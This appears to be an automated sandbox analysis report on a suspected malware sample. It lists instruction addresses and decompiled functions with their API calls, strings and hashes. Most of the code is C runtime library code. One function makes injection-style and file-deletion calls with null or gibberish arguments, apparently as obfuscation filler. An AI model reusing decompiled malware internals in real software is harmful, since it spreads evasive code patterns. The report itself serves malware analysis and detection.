0x0043bdd3
0x0043bdd6
0x0043bdd8
0x0043bdd8
0x0043bdd6
0x0043bdd9
0x0043bde0
0x0043be28
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043bde2
0x0043bde2
0x0043bde7
0x0043be03
0x0043be0b
0x0043be15
0x0043be18
0x0043be1d
0x00000000
0x0043be1d
0x00000000
0x0043c074
0x0043c074
0x0043c07e
0x0043c07e
0x0043c084
0x0043c086
0x0043c089
0x0043c089
0x0043c08f
0x0043c08f
0x00000000
0x00000000
0x0043c026
0x0043c026
0x00000000
0x00000000
0x0043bc3d
0x0043bc3d
0x0043bc41
0x0043bc4f
0x0043bc52
0x0043bc43
0x0043bc43
0x0043bc43
0x0043bc58
0x0043bc5e
0x0043bc64
0x0043bc70
0x0043bc76
0x0043bc76
0x0043bc79
0x0043bd01
0x0043bd01
0x0043bd05
0x0043bd07
0x0043bd0d
0x0043bd0d
0x0043bd10
0x0043bd17
0x0043bd1a
0x0043bd20
0x0043bd20
0x0043bd20
0x0043bd26
0x0043bd2c
0x0043bd2f
0x0043bd35
0x0043bd37
0x00000000
0x00000000
0x0043bd39
0x0043bd39
0x0043bd3f
0x0043bd42
0x0043bd44
0x00000000
0x00000000
0x0043bd46
0x0043bd4c
0x0043bd4f
0x0043bd4f
0x0043bd57
0x0043bd57
0x0043bd5d
0x0043bd5d
0x0043bd62
0x00000000
0x0043bc7f
0x0043bc7f
0x0043bc7f
0x0043bc83
0x0043bc85
0x0043bc8a
0x0043bc8a
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bca8
0x0043bca8
0x0043bca8
0x0043bcab
0x0043bcb1
0x00000000
0x00000000
0x0043bcb3
0x0043bcb3
0x0043bcb9
0x0043bcbc
0x0043bcbe
0x00000000
0x00000000
0x0043bcc0
0x0043bcc0
0x0043bcc9
0x0043bccf
0x0043bcd3
0x0043bcdb
0x0043bcdd
0x0043bcdf
0x0043bce5
0x0043bce5
0x0043bce8
0x0043bce8
0x0043bcf4
0x0043bcf7
0x0043bc9f
0x0043bca2
0x0043bca2
0x0043bca5
0x0043bca5
0x0043bcff
0x0043bd65
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x0043c320
0x00000000
0x0043c01d
0x0043c01d
0x00000000
0x00000000
0x0043c039
0x0043c039
0x0043c043
0x0043c043
0x0043c04d
0x0043c04d
0x0043c053
0x0043c055
0x0043c05a
0x0043c064
0x0043c064
0x0043c067
0x0043c06b
0x0043c06b
0x0043c092
0x0043c095
0x0043c095
0x0043c09a
0x0043c0bc
0x0043c0bc
0x0043c0c2
0x0043c0e4
0x0043c0e4
0x0043c0e7
0x0043c12e
0x0043c12e
0x0043c131
0x0043c14e
0x0043c152
0x0043c15a
0x0043c15a
0x0043c15c
0x0043c162
0x0043c133
0x0043c133
0x0043c137
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ec
0x0043c0ef
0x0043c10d
0x0043c119
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f1
0x0043c0f5
0x0043c0fd
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c4
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c09c
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16b
0x0043c16b
0x0043c16e
0x0043c1b0
0x0043c1b0
0x0043c1b6
0x0043c1bc
0x0043c1c2
0x00000000
0x0043c170
0x0043c170
0x0043c170
0x0043c177
0x00000000
0x00000000
0x0043c179
0x0043c179
0x0043c184
0x0043c18a
0x0043c18c
0x0043c192
0x0043c195
0x0043c197
0x0043c19d
0x0043c1a6
0x0043c1ab
0x0043c1c8
0x0043c1cb
0x0043c1cb
0x0043c1d0
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1dd
0x0043c1e3
0x0043c1e9
0x0043c1e9
0x0043c1f2
0x0043c1f2
0x0043c1db
0x0043c1f8
0x0043c1fc
0x0043c20a
0x0043c20d
0x0043c210
0x0043c217
0x0043c219
0x0043c219
0x0043c1fe
0x0043c1fe
0x0043c1fe
0x0043c226
0x0043c226
0x0043c22c
0x0043c22e
0x0043c22e
0x0043c235
0x0043c23b
0x0043c23e
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x0043c24e
0x0043c254
0x0043c254
0x0043c25a
0x00000000
0x00000000
0x0043c25c
0x0043c25c
0x0043c25f
0x0043c262
0x0043c269
0x0043c270
0x0043c278
0x0043c27e
0x0043c281
0x0043c284
0x0043c28b
0x0043c297
0x0043c29d
0x0043c2a3
0x0043c2aa
0x0043c2ac
0x0043c2b2
0x0043c2b2
0x0043c2b8
0x0043c2b8
0x0043c2be
0x0043c2c7
0x0043c2cc
0x0043c2cf
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24a
0x0043c24c
0x00000000
0x00000000
0x00000000
0x0043c24c
0x0043c23e
0x0043c17b
0x0043c17b
0x0043c182
0x00000000
0x00000000
0x00000000
0x0043c182
0x00000000
0x0043c320
0x0043c320
0x0043c324
0x00000000
0x00000000
0x00000000
0x0043c324
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c2
0x0043b8c5
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
0x00000000
0x00000000
0x0043b73b
0x0043b73b
0x0043b73d
0x0043b74b
0x0043b73f
0x0043b73f
0x0043b73f
0x0043b75b
0x0043b768
0x0043b76a
0x0043b76f
0x0043b771
0x0043b776
0x0043b77b
0x0043b77d
0x0043b782
0x0043b788
0x0043b78a
0x0043b78a
0x0043b788
0x0043b78b
0x0043b792
0x00000000
0x0043b794
0x0043b799
0x0043b7b5
0x0043b7bd
0x0043b7ca
0x0043b7cf
0x0043c5e4
0x0043c5f1
0x0043c5f1
0x0043b792
0x0043b735
0x0043c520
0x0043c527
0x0043c53e
0x0043c53e
0x0043c548
0x0043c548
0x0043c54e
0x0043c55b
0x0043c55d
0x0043c562
0x0043c564
0x0043c569
0x0043c56e
0x0043c570
0x0043c575
0x0043c57b
0x0043c57d
0x0043c57d
0x0043c57b
0x0043c585
0x0043c5d0
0x0043c5d9
0x0043c5de
0x0043c587
0x0043c58c
0x0043c5a8
0x0043c5b0
0x0043c5bd
0x0043c5c2
0x0043c5c2
0x00000000
0x0043c585
0x0043c529
0x0043c530
0x00000000
0x00000000
0x0043c532
0x0043c532
0x00000000
0x0043c532
0x0043c320
0x0043bbbb
0x0043bbbb
0x0043bbc1
0x0043bbc8
0x0043bbcd
0x0043bbd0
0x00000000
0x0043bbd0

APIs

_get_int_arg.LIBCMTD ref: 0043BB98
_strlen.LIBCMT ref: 0043BBC8
_write_multi_char.LIBCMTD ref: 0043C3AB
_write_string.LIBCMTD ref: 0043C3C6
_write_multi_char.LIBCMTD ref: 0043C3F2
__mbtowc_l.LIBCMTD ref: 0043C461

Strings

("Incorrect format specifier", 0), xrefs: 0043B76A, 0043B7B0
HD@, xrefs: 0043BBBB
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043B776, 0043B7A6
_woutput_s_l, xrefs: 0043B7AB

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$HD@$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-1463889187
Opcode ID: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction ID: 171d2bbb219fbb3bc518d9e91088179140032e41a24951d67bd1b015d7fdb04d
Opcode Fuzzy Hash: 9ca71d06bae4ef2ce4f5b24ff85b07bb0a1c756acd9491e2be316cb55540299a
Instruction Fuzzy Hash: 16A161B1D002289BDB24DF54CC85BEEB3B5EB88305F14919AE60977282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00419AE0, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419AE0(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1e50);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1e30);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1e2c);
				return 0;
			}

0x00419ae6
0x00419ae8
0x00419aef
0x00419b03
0x00419b10
0x00419b1b
0x00419b30
0x00419b3d
0x00419b43
0x00419b4b
0x00419b58
0x00419b61

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419AEF
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419B03
CreateActCtxW.KERNEL32(?), ref: 00419B10
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419B1B
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419B30
InterlockedDecrement.KERNEL32(?), ref: 00419B3D
GetCommandLineW.KERNEL32 ref: 00419B43
TlsGetValue.KERNEL32(00000000), ref: 00419B4B
TryEnterCriticalSection.KERNEL32(?), ref: 00419B58

Strings

Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419B16
vihebihasucuxegod, xrefs: 00419B25

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction ID: 290748476c8e10ea7b6eb3caab2a8ec9d2d8f6784b5271156a8305f3cd713b92
Opcode Fuzzy Hash: 46a52bf7412e21f1a9f9046ac7842a7972d33da5d6619f9f9bdf0b32adec5e81
Instruction Fuzzy Hash: BCF01D31684285ABEB506BB0EE0EF893B68BB04B06F140061F786F64F0C6B495848B29

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6E0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 60%

			E0042E6E0(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, char _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0xd19bb892
				_v8 = _t25 ^ _t55;
				E0042E790( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438A90(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				_t18 =  &_a20; // 0x41ea6e
				E0041DC40(E0041D7C0(__ebx,  &_v32, __esi, _a16,  *_t18,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BAA0(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e6e8
0x0042e6ef
0x0042e6fa
0x0042e705
0x0042e706
0x0042e70d
0x0042e712
0x0042e717
0x0042e71e
0x0042e72d
0x0042e737
0x0042e740
0x0042e75a
0x0042e76b
0x0042e779
0x0042e78c

APIs

___dtold.LIBCMTD ref: 0042E6FA
_$I10_OUTPUT.LIBCMTD ref: 0042E722
_wcscpy_s.LIBCMTD ref: 0042E762

Part of subcall function 0041D7C0: __invalid_parameter.LIBCMTD ref: 0041D832

__invoke_watson_if_error.LIBCMTD ref: 0042E76B

Strings

strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042E751
_fltout2, xrefs: 0042E74C
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042E747
nA, xrefs: 0042E75A, 0042E75D

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$nA$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-3474199142
Opcode ID: fc0c9fababb7f5795331fd77e9cb14829cad84665074b7bef29288efd580ad35
Instruction ID: efacd766a1695dba8669e4a878f78574aa6363da8effb2aeb12becf7f4dd02f6
Opcode Fuzzy Hash: fc0c9fababb7f5795331fd77e9cb14829cad84665074b7bef29288efd580ad35
Instruction Fuzzy Hash: 9C214DB5A003099BCB04EF65DC42EEEB7B4EF8C704F148559F905AB381E674D911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041CABE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CB3B
_CheckBytes.LIBCMTD ref: 0041CBD9
_CheckBytes.LIBCMTD ref: 0041CC82

Strings

HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041CCAC
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CB70
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CC0E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041CD21

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction ID: ec73943a2f8fe2733ab40ddfd2340487c0c82af28725595b7b5231984d962a63
Opcode Fuzzy Hash: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction Fuzzy Hash: B36130B4E401059BDB18CB84DCD5FBFB3B5AB48304F24811AE515AB3C1D278EC82CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00437474, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00437474(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B190(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E000();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422AF0(_t65))) = 0x22;
						E00422880(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B190(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422AF0(_t61)));
				goto L30;
			}

0x00437474
0x00437477
0x0043747e
0x004374ea
0x004374ed
0x004374f0
0x004374f4
0x004375e1
0x004375e1
0x004375e5
0x004375ed
0x004375ed
0x004375ef
0x004375f2
0x004375f5
0x004375f5
0x004374fd
0x00437500
0x004375d7
0x004375da
0x004375da
0x004375dd
0x00000000
0x004375dd
0x00437506
0x0043750a
0x004375ca
0x004375cd
0x004375d0
0x00000000
0x004375d0
0x00437513
0x00437516
0x0043751a
0x0043751c
0x00437523
0x00437525
0x00437529
0x00437531
0x00437537
0x00437546
0x00437546
0x00437549
0x00437539
0x00437539
0x0043753e
0x0043753e
0x0043754c
0x00437558
0x00437558
0x0043755c
0x00437561
0x00437561
0x00437529
0x00437523
0x00437564
0x00437567
0x0043756a
0x0043756e
0x00437571
0x00437573
0x00437578
0x0043757a
0x0043757f
0x00437584
0x00437586
0x0043758b
0x0043758e
0x00437591
0x00437593
0x00437593
0x00437591
0x00437594
0x00437598
0x00000000
0x0043759a
0x0043759f
0x004375bb
0x004375c3
0x00000000
0x004375c3
0x00437598
0x00437484
0x00437489
0x00437490
0x004374a7
0x004374ad
0x004374bd
0x004374bd
0x004374c0
0x004374af
0x004374af
0x004374b5
0x004374b5
0x004374cf
0x004374d3
0x004374d8
0x00437490
0x004374e0
0x00000000

APIs

_memset.LIBCMT ref: 004374D3
_memset.LIBCMT ref: 0043755C
__invalid_parameter.LIBCMTD ref: 004375BB

Strings

_wcstombs_s_l, xrefs: 004375B1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043757F, 004375AC
P, xrefs: 004375D0
sizeInBytes > retsize, xrefs: 00437573, 004375B6

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction ID: 19a23b7ebd11478a3f34c5012260dde96f324ccd00f93f2d3ba5369410dd3325
Opcode Fuzzy Hash: 984826580b6b716d8613671b907141250ac4dcad0e8d3708987d07af3c830269
Instruction Fuzzy Hash: A541BEB0904349EBCF28CF58C8857AE7770FB48315F20D66AE8A55A3D1D3799950CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D557, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D557() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AAD0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00422C80(E0041AAD0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00422D30(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AAD0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422AF0( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422AF0( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BA40(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041D6D0( *((intOrPtr*)(L00422AF0(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422AF0(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429360(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BAA0(E0041AAA0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d557
0x0041d557
0x0041d557
0x0041d55d
0x0041d567
0x0041d574
0x0041d569
0x0041d56c
0x0041d56f
0x0041d56f
0x0041d581
0x00000000
0x00000000
0x0041d587
0x0041d590
0x0041d59d
0x0041d5e5
0x0041d5ea
0x0041d5ed
0x0041d5b2
0x0041d5c5
0x0041d5ca
0x0041d5cd
0x0041d5cd
0x0041d5f4
0x0041d5ff
0x0041d5f6
0x0041d5fa
0x0041d5fa
0x0041d60c
0x0041d617
0x0041d61f
0x0041d643
0x0041d648
0x0041d64d
0x0041d652
0x0041d676
0x0041d67b
0x0041d67b
0x0041d686
0x0041d686
0x0041d68d
0x0041d68d
0x0041d690
0x0041d698
0x0041d6b5
0x0041d6b7
0x0041d6b7
0x0041d6cd

APIs

__isctype_l.LIBCMTD ref: 0041D5C5
_swprintf_s.LIBCMTD ref: 0041D648
__invoke_watson_if_oneof.LIBCMTD ref: 0041D676

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D65B
%.2X , xrefs: 0041D62A
(*_errno()), xrefs: 0041D665
_printMemBlockData, xrefs: 0041D660

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
